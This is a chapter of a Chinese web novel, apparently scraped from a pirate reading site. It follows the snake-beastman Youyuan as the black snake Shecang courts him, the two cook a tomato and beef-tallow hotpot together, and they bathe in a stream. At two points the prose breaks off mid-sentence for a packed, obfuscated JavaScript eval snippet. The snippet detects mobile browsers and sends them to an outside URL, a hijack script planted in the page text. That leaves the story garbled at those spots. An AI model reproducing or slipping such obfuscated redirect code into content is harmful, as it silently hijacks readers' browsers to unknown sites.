正好青芽扛着根粗壮的树干过来，接着岩丘的话给崽崽解惑：“你不是想要去玩嘛，我跟你阿父商量着，多做几个箱子装你那些瓶瓶罐罐的东西，这样空间也能空出来些地方，方便些。” “啊……” 游远没想到他们会琢磨这件事，顿时感动得泪眼汪汪，扑到最近的阿父身上呜呜呜，“你们明明都不喜欢出门。” 岩丘手里的刀好悬没插他身上，吓得连忙把骨刀给丢了，抬手扶着他没好气地道：“没看见手上有刀？！回头划伤了又哭哭啼啼的。” “阿父不会的。”游远比岩丘还有信心。 青芽放下树干过来，刚把刀捡开就听见这么一句，抬起手轻轻扯了扯他的发尾，冷哼着威胁：“会不会的，我先给你来一刀试试。” 游远笑嘻嘻，根本不带怕的。 阿爹阿父也是对这崽子没辙，吓唬不成，只好放过他，问道：“怎么忽然过来了？” “你们之前瞒着我，我好奇嘛。” 说着，游远松开了阿父，好奇地去看他方才削的木头，那木头里面的树心已经被掏出来了，修整成了平滑方正的模样，其中正对着的两侧还凿了些竖着的凹槽，再看旁边的木板，就知道这是要做隔层用的了。 游远蹲在旁边，两手托腮，仰头去看阿爹阿父，“你们真的要带我出去玩吗？” 青芽垂手摸了摸他的脑袋，“小远不想去吗？” 去当然是想去的啦。 但…… 游远纠结地蹙起眉头。 从穿越到这个世界，至今已经二十五年，阿爹阿父对他真的很好很好，他不想让阿爹阿父勉强自己，去做不喜欢的事情。 像是知道小崽崽脑袋里在想什么，青芽温声说道：“远不用想那么多，只要等着跟我们一起出去玩就好了。” 岩丘也道：“就是不能急，得等我们多做点箱子才行。” “好——” 游远眉眼弯弯地应了。 做箱子对兽人而言并不麻烦，毕竟他们力气大，骨刀又很锋利，砍下一截足够粗的树干，拿着骨刀直接削木头就行。 游远无事可做，把小酥鱼吃了个七七八八后，钻进阿爹的厨房翻翻找找，取了些肉和粉果出来，给忙碌的两人做了一大锅肉馅饼。 游远拿着单独准备的那个小的，朝阿爹阿父道：“那我回去睡觉啦，你们记得吃东西哦。” “知道，路上小心点，别摔了。” 游远拖长声音：“我又不是小孩子了，才不会摔呢。” 青芽和岩丘不约而同地一挑眉，对视一眼，脸上写满了不相信。 崽子去年才在林子里摔了个屁股墩呢，才过去一年，难不成‘成年’还能让他避免摔跤不成？ 游远看到他们的表情，一时气结，抬脚跑了。 － 前一夜回到家里时已经临近午夜，山洞里的青蛇扭着身体，不是很想起床，半晌过后，他干脆甩着尾巴换了个角落缩着，继续呼呼大睡。 等到太阳转移到正上空，青蛇才变幻成人形。 游远打着哈欠，盘腿坐在兽皮垫子上，手指随意勾起发尾把玩着，眼睛发直地看着前方出神。发丝顺滑的手感让人心情愉悦，他终于彻底醒神，站起身来，踩着冰凉的石砖地面下了楼。 除了寒季和暴雨期之外，兽人从不囤积食物。 游远的储藏山洞里，自然也是空空的，只有先前阿爹给他带回来的一些果子。 他挑了个甜口的果子拿在手里，顺手又拿了两个粉果，在离开山洞前将其放到了橱柜上，然后去小溪洗干净甜果子，一边啃一边往部落外去。 蛇王部落到处都是出入口，不过游远出去的路线是固定的。 在部落边缘看见巡逻队的兽人，游远抬起手朝他们挥了挥，“我出去啦！” 巡逻队的兽人看见他，也回应了下，同时叮嘱人不要走太远。 “我知道的~” 部落之外的安全区和采集区里，也是会出现一些比较危险的动物的，如果是正常情况下的兽人，即使是亚成年、老兽人，也能做到逃离甚至反击，但游远是个特例，大家总是会多关注他一些。 没有兽人会愿意看到族人死在猎物口中。 · 采集区。 游远行走在其中，挑拣着蔬菜。 茄子、黄瓜、番茄、洋葱，还有没有具体名字，但叶子很好吃的叶叶菜。 只是在采集区边缘晃悠一圈，游远就得到了一天的食物，他将这些东西塞进空间中，顺着溪水在两边的草丛里寻摸起鸭蛋来。 家里之前做的皮蛋都吃完了，得现弄才行。 蛇兽人爱吃蛋，部落周围产蛋的动物都逃脱不了他们的毒手，游远摸索了好久，才勉强找够十个鸭蛋。 肚子饿了。 游远把鸭蛋洗干净，决定回家做饭吃。 他一路穿过茂密的树林和灼热的阳光，才刚刚靠近林地，游远就闻到了有些熟悉的气息。 气息的主人也发现了他的回归。 黑蛇穿过森林，几乎是眨眼间就来到了亚兽人身边，他变成人形跟人打招呼：“远。” 看见蛇苍，就想起昨天分别前的事情，游远手背在身后，不自觉相互地抠了抠，问道：“你什么时候来的？” 蛇苍：“刚到不久。” 闻言，游远心里轻轻松了口气。 蛇苍安静地看着游远，低声道：“昨天你喜欢吃的那个猎物，我抓了两只来，已经给你阿爹阿父送了一只去了。” “啊。” 游远两眼发懵，抬头看他。 蛇苍还在说：“吃完了的话记得跟我说，我再去给你抓来。” “不不不不。”游远连忙摆手，抓着脸道：“这太辛苦你啦，我跟我阿父说，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296849|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他去抓就好了。” 听见游远这么说，蛇苍心头一沉，还以为是自己昨天的表现让人不满意了，眉目低垂，显出几分难过来，带着点希冀地低声问道：“远你不是说愿意让我追求你吗？” 游远：“……？” 没被追求过，也没了解过的蛇很茫然，不明白这话是什么意思。 蛇苍见他这副表情，又想起游远说自己是‘疯兽人’的事，轻声解释：“雄性兽人追求亚兽本就是要送食物的。” 不只是食物，展现自己健壮好看的外表，帮亚兽的忙，甚至是将自己的山洞收拾得漂漂亮亮带亚兽去看，都是他们追求的一种方式。 游远“啊”了一声，对收兽肉这事还是有些不好意思，但是既然蛇苍都这么说了，他便冷静下来，一脸认真地道：“谢谢，我没有拒绝你的追求的意思。” 他只是不习惯。 蛇苍闻言眉眼放松下来，说道：“没有拒绝就好。” 他问：“那我帮你把兽肉处理了？” 鉴于刚刚闹出的幺蛾子，游远想了想，点头同意，又说了声：“谢谢。” 蛇苍心情愉快极了。 · 小年轻之间接触得很开心，隔壁领地里，岩丘和青芽蹲在猎物旁边，看看猎物看看对方，不明白蛇苍这是要干啥。 方才蛇苍送猎物过来，岩丘还以为这小子转变想法要来追求青芽呢，气得他追出去就要打，谁知追了没多远，他就发现蛇苍还带着头猎物在身上，甚至离开的方向也是蛇崽领地所在的方向。 就很茫然。 就很无措。 青芽沉默了很久，才将两人心中冒出，但是不确定真伪的猜测说了出来，“该不会是……追求小远的一种方式吧？” 岩丘：“……” 岩丘诚恳：“我没见过这么追求的。” 青芽也没见过，但除了这个，他实在是想不到别的理由了。 兽人是自由的，但也是忠诚的，他们一生中可能变换很多伴侣，可彼此在一起时绝对不会产生二心，更不可能同时追求其他兽人。 这一点，就连狮族都不例外。 而且，就刚刚蛇苍那来去匆匆，岩丘追都追不上的样儿，也不像是要追求青芽的样子。 搞不懂。 夫夫俩对视片刻，拍板：“就当是他追求小远的方法了，先吃。” 蛇苍能动这个心思，肯定是小远很喜欢吃，想要分享给他们的，味道肯定很好。 · 游远领地里。 蛇苍再度成功踏足其中，拎着猎物在溪流边收拾，游远就在上游的位置，洗干净他带来的蔬菜后，又提了桶水回到山洞里，准备今天搞个火锅来吃吃。 在动手之前，他先把黄瓜处理了，做成拍黄瓜放到空间中间区域冷藏着，然后生火烧水。 不知道蛇苍能不能吃辣，游远决定做两个锅底，酸甜口的番茄锅搭配上麻辣口的牛油锅，也是很美味了。 想想就开心，嘿嘿。 等水烧开的时间，游远把洋葱和生姜去皮切成小块，放到比巴掌还大一圈的石臼里捣烂成泥放在旁边，又剥了些蒜出来随意切成粒。 这边弄好，水也开了，番茄烫过过冷水，剥皮之后，一半捣烂一半切大块备用。 起锅烧油，准备炒番茄锅底。 23.第 23 章 油热先放入洋葱姜泥，等到炒到爆香之后，再放入方才捣烂的那一部分番茄，小火熬制的过程中，游远又往里放了两颗冰糖。 锅里的番茄和洋葱姜泥完美融合，熬煮成细腻的酱汁时，游远便将其盛了出来，洗锅重新烧油，放入蒜粒炒到微微发黄，将留出来的番茄块放了进去。 放入些许食盐，盖盖焖煮。 等到番茄块焖软了，再将先前熬好的番茄酱添进去，加水搅拌一下，转移到鸳鸯锅的其中一格中。 蛇苍提着肉进来，闻到扑鼻的酸甜香味，有些好奇：“这是要做什么吃？” “火锅。”游远心情特别好地道：“我再弄个牛油锅底，等下就可以吃了。” “哦，好的。” 牛油锅底好弄，每次阿爹阿父逮了牛回来，游远都会将牛油炼出来，制成牛油火锅底料。他将锅洗干净之后，便起身进入储藏山洞，将装着火锅底料的罐子给抱了出来，切出几块放到锅里小火翻拌到融化即可。 牛油的香味很浓，融化开来之后，那种麻辣的味道释放出来，更是让人忍不住侧目。 蛇苍打了两个喷嚏，忍不住多瞧了两眼。 游远听到，说道：“这个锅底的味道会比较刺激，你一会儿吃着要是不喜欢的话，可以吃番茄锅底，那个酸酸甜甜的，很好吃。” 没有人会讨厌甜味。 最多就是喜欢的程度不一样而已。 蛇苍应了一声，又道：“这个闻着也很香。” 游远听了眉眼弯弯，“那当然了。” 锅底只差最后一点，蛇苍问过游远之后，拿着骨刀，手上动作很流利地将肉片成一片片轻薄的肉，粉嫩的肉片铺在盘子后，形成厚厚的一摞，光是看着就十分诱人。 游远将牛油锅底也倒到鸳鸯锅中，把厨房里的桌子收进空间，转移到了储藏山洞内，换了另一张中间带凹陷的桌子摆到厨房里。 这个桌子凹陷部分拼装着一口石锅，游远把烧出来的火块全转移了进去，添上炭，再将鸳鸯锅放到上面固定住。 蛇苍回头看了一眼，见他都摆好了，便加快手上的动作，道：“这些肉还差一会儿，你先吃吧。” “不用。”游远道，“锅底再煮一会儿更香，我正好弄点别的配菜。” “哦，好的。” 让蛇苍继续切着肉，游远脚步轻快地进了储藏山洞，下到地窖里拿了些土豆和萝卜出来。 这些都是去年丰收季时囤积的，都是些方便储存的食物，再加上保存得很用心，这会儿拿出来跟去年刚放进去没什么太大的差别。 游远把这些菜都拿去溪边洗干净了，然后将萝卜、冬瓜切块，土豆切成长长的细丝。 先前从采集区带回来的食物还有一个茄子没有弄，游远想了想，决定今天不吃茄子了，改而把放在橱柜上的粉果拆了揉成面团，准备等会儿扯了面片下到番茄锅里去。 蛇苍端着两大盆肉过来，和游远道：“那些骨头我先丢出去了。” “哎！不用不用！”游远连忙制止，“把大的骨头给我留着，晚上煲汤试试。” “哦，好。” 蛇苍拿着骨刀挑拣着，大骨头都给留了下来，又道：“那我帮你都剁碎了。” “好——” 游远忙忙碌碌，终于将需要的东西全部准备好，又挑了几个蘸碟放到两人对应的位置，见蛇苍去丢骨头还没有回来，游远琢磨了下，在空间里翻翻找找，取出一罐子果酱来。 他爱吃果子，每年都剩不下多少来做果酱，空间里也就这么一罐。 舀出满满两大勺果酱到杯子里，游远又从空间中取出一罐子水，用其冲开。 这些水是放在中间区域，相当于冷藏了，冰冰凉凉但不至于结冰，拿来冲果酱刚刚好。 蛇苍回来了。 游远把冲好的果汁摆到位置上，坐下来仰头去看蛇苍。 蛇苍下意识想给他夹吃的。 游远催促：“快坐呀！” “嗯。” 闻声，蛇苍放弃了想法，在游远给他安排的位置上坐下。 游远便伸筷子，夹了两大筷子肉，分别下到番茄锅和牛油锅里，说道："这个烫一小会儿就能吃了，别放太久。" “好。” 锅底的木炭早已烧起，这会儿汤底翻滚着，入锅的兽肉随着汤汁一起翻滚，很快就变了色泽。 游远夹了一些麻辣牛油锅底的肉出来，吹凉之后送入口中，煎烤都十分美味的兽肉，如今用来做火锅也是一绝，肉质细嫩，脂肪分布均匀，入口极其丝滑，部分肉片还带着些韧性和嚼劲，再搭配上兽肉本身具有的奶香，让人回味无穷。 “好好吃呀。” 游远心情特好，见蛇苍还没动筷子，催促他：“快点吃，一会儿我都吃完了。” 蛇苍道：“你喜欢的话，吃完就好了。” 他此前并不怎么饿，只是喜欢跟游远一起吃饭的过程。 “那多没意思，饭就是要一起吃才香。”游远干脆给他夹了一筷子番茄锅里的兽肉，说道：“这个烫久了就不好吃了，你快点的。” “好。” 两人坐在山洞厨房里吃着热气腾腾的火锅，外面太阳灼热地炙烤着大地，有风吹过山林进入洞里，给人带来丝丝凉意。 游远吃出一脑门汗来，端起旁边的杯子咕嘟嘟喝了两口果汁，舒服地呼出一口气来。 夏天吃火锅很热，但出一身汗后的感觉真的好爽。 吃肉吃了个大饱足，游远又啃了两个被煮透了的萝卜块，还有细细的，入锅没多久就能熟透的土豆丝，最后挑着先前做的拍黄瓜吃。 拍黄瓜酸辣清爽，跟火锅形成鲜明对比。 两人坐在一起，把准备的食材吃了个干干净净，身上也汗涔涔的了。 游远拉住想要立即收拾厨房的蛇苍，说道：“走走走，咱们出去泡会儿，好热啊，身上黏糊糊的，不舒服。” 蛇苍垂眸，看见游远拉住自己的手，手指微微蜷缩，想要握回去。 不等他动作，前面的人又松开了手。 游远摸摸鼻子，无视身后投来的视线，加速跑到溪水旁边，变成兽形泡了进去，隔着水面看不疾不徐靠近的蛇苍。 雄性兽人不知出于什么目的，并没有立即变成兽形，而是在游远身边停了下来，伸出手—— 游远脑袋一缩，彻底压到了水底。 没点到脑袋。 蛇苍有些遗憾地收回手，又因着游远的反应而嘴角上翘，跟着变成兽形进入水里。 黑蛇轻柔地靠近，将脑袋搭在青蛇前方的石头上，安静地看着开始尴尬吐泡泡的青蛇，并未过度靠近。 这个距离确实让游远很舒服，他不由自主地晃了晃尾巴，在快要呛水之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303796|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，将脑袋探出了水面，舒缓地晃了晃身体。 水顺着鳞片滑落回水中，青蛇在阳光下泛着晶莹的光泽。 真好看啊。 黑蛇想着，又跟着探出了水面。 游远闻声回头，正好对上蛇苍暗金色的眼睛。 愿意让蛇苍追求，很大一部分原因是因为他的眼睛。暗金色的眼眸给人的感觉很危险，尤其是处在高处垂眸看来的时候，会让人心脏猛地一跳，不受控制地加速起来。 唔…… 虽然很有可能是被吓的，但真的很好看啊！ 见青蛇忽然顿住，没了反应，蛇苍不由靠近了些，蛇信轻吐：“远？” “嗯？嗯！！！” 黑色的蛇头离得太近，游远下意识往后仰了一些，又扭回脑袋来瞅他，埋怨：“你离我这么近干嘛啊。” 蛇苍眨了眨眼睛，退后些许，歉意道：“吓到你了？我不是故意的。” 他一道歉，游远又有些不好意思起来，甩着尾巴道：“也没有那么夸张啦，不用道歉的。” 青蛇又泡回了水里，这回脑袋搭在了石头上，懒洋洋地放松下来。 蛇苍见状，在距离他稍远的地方休息着，主动挑起话题，说起他在外面流浪的事迹。 不出所料。 青蛇一下子就游了过来。 蛇苍声音透着股愉悦，主要讲些他在流浪途中遇到的趣事，偶尔也会提一提跟凶兽对战的场景。 部落之外很危险，独行兽人的威慑力有限，很多时候他都需要掩藏自己的气息，遇到凶兽时也得无比小心，为此也有过许多窘迫的经历。 蛇苍很不会讲故事，声音平淡没有起伏，游远只能通过他只言片语的内容，去窥探那背后的景色。 越听，便越是期待满满。 “呜我也想出去玩。” 也不知道阿爹阿父什么时候能准备好。 青蛇在水里游来游去，恨不得时间能马上快进到出去玩的日子。 蛇苍闻言，若有所思：“咱们今天就去？” “哎？” 游远心动，竖起脑袋纠结着道：“可是我跑不快，也不会打架，出去的话会很麻烦的。” “没关系。”黑蛇语气平静，一看就很有底气，“更危险的地方我都去过了，这附近不会有事的。真遇到危险的话，远你只要找个地方藏着，等我回来就好了。” 游远眼睛一下子就变得亮晶晶的。 但是…… 他在水里扭了会儿，感觉不太能强化自己的表达，就倏地变成人形，比划道：“可是我很麻烦的，我没办法一顿吃好多好多，饿得很快。” 阿爹阿父很惯着游远，他从来没有大口吞过猎物，长大后倒是尝试过，结果就是被肉卡住嗓子动弹不得。 蛇苍：“那就跟在部落里一样。” 他说得很平静，就好像那一点都不为难般。 游远疯狂心动。 蛇苍像是看出了他的心动，游过来，隔着一段距离虚虚环过游远，脑袋从后面靠近，诱惑道：“暴雨期快到了，咱们只出去玩一会儿，暴雨期前就回来，怎么样？” 他恪守着对游远而言最舒适的距离，但这样的姿势依旧让人红了耳朵，游远含糊着：“就我们两个啊……” “只是去玩而已，远不想去吗？” 那当然是想的啦！